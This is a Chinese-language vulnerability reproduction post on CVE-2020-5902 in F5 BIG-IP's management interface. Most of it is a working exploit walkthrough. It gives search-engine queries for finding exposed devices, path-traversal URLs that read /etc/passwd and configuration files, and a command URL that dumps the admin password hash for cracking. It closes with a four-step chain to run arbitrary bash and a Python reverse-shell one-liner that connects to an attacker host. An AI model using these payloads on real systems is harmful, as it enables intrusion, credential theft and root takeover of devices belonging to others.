(CVE-2020-5902)漏洞复现|我们能从F5 BIG-IP 远程代码执行漏洞学到什么?

(一)漏洞简介

上周爆出一个严重的漏洞,漏洞编号为CVE-2020-5902。这个漏洞存在于F5公司的Big-IP设备。

BIG-IP 广泛应用于大型企业,数据中心、云计算平台中,可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。

简而言之,通过在Big-IP的TMUI(用户管理页面)发送特定的请求包,就可以在管理员权限下读取文件、写入文件并执行bash命令。

经过了解,该产品应用广泛,然而该漏洞复现简单,可以说影响颇大,建议存在该漏洞的Big-IP版本尽快修复。

(二)影响版本

  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

(三)漏洞验证

1.从各大规则检索平台进行漏洞版本检索

钟馗之眼 :app:"BIG-IP"&&tumi

fofa:app="BIG-IP"&&tumi

不过,大佬已经写了脚本开始寻找漏洞版本了,效率更高,总之,按自己的方法找到存在漏洞的ip

2.访问到ip

会来到BIG-IP的用户管理页面

(CVE-2020-5902)漏洞复现|我们能从F5 BIG-IP 远程代码执行漏洞学到什么?_第1张图片

3.直接在url执行

这里有一个文件读取漏洞

https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

返回的内容如果是/etc/passwd文件的内容,说明存在文件读取漏洞

这里是文件目录穿越,然后执行fileRead.jsp脚本,可以任意读取文件(非root权限)fileName=后面跟文件路径

其他的文件读取POC

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

4.命令执行POC

https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

(CVE-2020-5902)漏洞复现|我们能从F5 BIG-IP 远程代码执行漏洞学到什么?_第2张图片

调用tmshCmd.jsp脚本进行文件执行,command=跟要执行的命令

这里涉及到一个验证漏洞点的问题,主要观察“output”字段,如果该字段可以返回admin的密钥的密文或者报错,说明该指令执行了,如果返回为空,说明后台限制了命令执行,这个网站就很难被渗透了。

这里的list 这些命令是防火墙自己定义的Tmsh命令。想了解请点击这个地址https://clouddocs.f5.com/api/tmsh/Other.html

其中list 代表bash 命令,auth大概是用户认证命令,该命令会返回user后跟的用户字段的密文

$6$意思是用SHA512加密的128位密文,可以尝试找爆破工具解密一下该字段。如果密文中有" \/ "符号,则“ \ ”是转义字符,解密时将其删除。

(四)漏洞利用(获取shell)

漏洞利用成功后相当于拿到root权限,可以读取任意文件,执行任意命令。

在url中https:///tmui/login.jsp/..;/tmui/locallb/workspace/后执行exp即可,

tmshCmd.jsp?command=create+cli+alias+private+list+command+bash    //创建一个tmsh命令,将list别名为bash
fileSave.jsp?fileName=/tmp/cmd&content=id    //执行文件写入脚本,保存在/tmp/cmd,内容在content=后面
tmshCmd.jsp?command=list+/tmp/cmd    //文件执行,执行上一步写入的内容
tmshCmd.jsp?command=delete+cli+alias+private+list    //清除tmsh命令

执行到第三步,如果返回了id执行后的内容,即当前用户即权限,说明存在执行漏洞,

如果存在漏洞,将id字段替换为反弹shell脚本,攻击端开启监听,就能拿到shell(root权限)

id字段替换的反弹shell脚本如下

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('',));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

监听结果: 成功的监听到了设备反弹的shell。

 

参考链接:https://mp.weixin.qq.com/s/I2RkG4Co63IhBqnbpchqWQ

                  https://msd.misuland.com/pd/4425384115382000044

你可能感兴趣的:(漏洞复现,渗透,渗透测试,入侵教材,网络安全,web入侵)